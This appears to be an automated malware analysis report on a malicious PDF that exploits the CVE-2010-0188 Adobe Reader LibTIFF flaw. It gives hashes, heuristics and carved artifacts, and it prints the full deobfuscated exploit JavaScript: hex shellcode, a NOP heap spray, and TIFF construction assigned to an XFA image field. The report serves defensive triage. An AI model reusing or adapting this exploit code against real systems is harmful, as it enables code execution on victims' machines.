Malicious PDF — malware analysis report

Static analysis result for SHA-256 c99fd8f7201220b8…

MALICIOUS

PDF

9.7 KB First seen: 2015-09-15
MD5: 07a1cb675e4b8f6183fc64e932f29ca0 SHA-1: 446a9158037218f57236f9d7a8b5fc42fcc4bc32 SHA-256: c99fd8f7201220b892a0fa065d00a3175bead878b1cada8a83d1dd7f047b07d4
138 Risk Score

Malware Insights

MITRE ATT&CK
T1566.003 Spearphishing Attachment T1204.002 Malicious File

The PDF sample was flagged by an ML classifier with high confidence as malicious. Heuristics indicate the presence of embedded files and an AcroForm button with an action trigger, suggesting an attempt to exploit PDF vulnerabilities. The embedded URL, while benign in reputation, is present within the document structure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://testset.com In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0041.bin pdf-embedded-file PDF EmbeddedFile object 41 at offset 0xEB5 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0042.bin pdf-embedded-file PDF EmbeddedFile object 42 at offset 0xF67 1029 bytes
SHA-256: dda0835df994b8be920f715db36452f6cee7bb42bbc9c897f878a7b298ba8e91
embedded_file_obj99999.bin pdf-embedded-file PDF EmbeddedFile object 99999 at offset 0x1183 24985 bytes
SHA-256: 6278bd1613f2e0a21e5d516b38ab1e0ab645de350bb8aa7a780767a84ef37486
embedded_file_obj0044.bin pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x215C 144 bytes
SHA-256: 3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
embedded_file_obj0045.bin pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x2209 77 bytes
SHA-256: 10c03f88a5f0a0833dc5b2c8ac295b3a3c6f65e23889eb8cc1dc6fe29bf7f275
xfa_base26_stage_000.js deobfuscated-js XFA separator-stripped base-26 decoded JavaScript (decompressed, XML-entity decoded) at offset 0x136C 4316 bytes
SHA-256: 7376a4bd94e2d424eff4659578ae17b0a32278ab7cac026627869fc27231f958
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var padding;var bbb, ccc, ddd, eee, fff, ggg, hhh;var pointers_a, i;var x = new Array();var y = new Array();var _l1="4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141"+"00002776c6d337a6b68662c6e677a6f64676d3c677e6e6d6629613d3766647a666622333a36723a37723a3c613a3d613a37723a3b613a37723a3d613a3d613d327f636d6576647621333a36613a39613a3b613a38613d3261696f3078607e2373696e616863656d6d237567616d2375696669646f6d6d297a716c6f24656473796c6f24756e6e247375626d247365746f62707f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');var _l2="4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141"+"00002776c6d337a6b68662c6e677a6f64676d3c677e6e6d6629613d3766647a666622333a36723a37723a3c613a3d613a37723a3b613a37723a3d613a3d613d327f636d6576647621333a36613a39613a3b613a38613d3261696f3078607e2373696e616863656d6d237567616d2375696669646f6d6d297a716c6f24656473796c6f24756e6e247375626d247365746f62707f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');_l3=app;_l4=new Array();function _l5(){var _l6=_l3.viewerVersion.toString();_l6=_l6.replace('.','');while(_l6.length<4)_l6+='0';return parseInt(_l6,10)}function _l7(_l8,_l9){while(_l8.length*2<_l9)_l8+=_l8;return _l8.substring(0,_l9/2)}function _I0(_I1){_I1=unescape(_I1);roteDak=_I1.length*2;dakRote=unescape('%u9090');spray=_l7(dakRote,0x2000-roteDak);loxWhee=_I1+spray;loxWhee=_l7(loxWhee,524098);for(i=0; i < 400; i++)_l4[i]=loxWhee.substr(0,loxWhee.length-1)+dakRote;}function _I2(_I1,len){while(_I1.length<len)_I1+=_I1;return _I1.substring(0,len)}function _I3(_I1){ret='';for(i=0;i<_I1.length;i+=2){b=_I1.substr(i,2);c=parseInt(b,16);ret+=String.fromCharCode(c);}return ret}function _ji1(_I1,_I4){_I5='';for(_I6=0;_I6<_I1.length;_I6++){_l9=_I4.length;_I7=_I1.charCodeAt(_I6);_I8=_I4.charCodeAt(_I6%_l9);_I5+=String.fromCharCode(_I7^_I8);}return _I5}function _I9(_I6){_j0=_I6.toString(16);_j1=_j0.length;_I5=(_j1%2)?'0'+_j0:_j0;return _I5}function _j2(_I1){_I5='';for(_I6=0;_I6<_I1.length;_I6+=2){_I5+='%u';_I5+=_I9(_I1.charCodeAt(_I6+1));_I5+=_I9(_I1.charCodeAt(_I6))}return _I5}function _j3(){_j4=_l5();if(_j4<9000){_j5='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_j6=_l1;_j7=_I3(_j6)}else{_j5='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_j6=_l2;_j7=_I3(_j6)}_j8='SUkqADggAABB';_j9=_I2('QUFB',10984);_ll0='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';_ll1=_j8+_j9+_ll0+_j5;_ll2=_ji1(_j7,'');if(_ll2.length%2)_ll2+=unescape('%00');_ll3=_j2(_ll2);with({k:_ll3})_I0(k);ImageField1.rawValue=_ll1}_j3();

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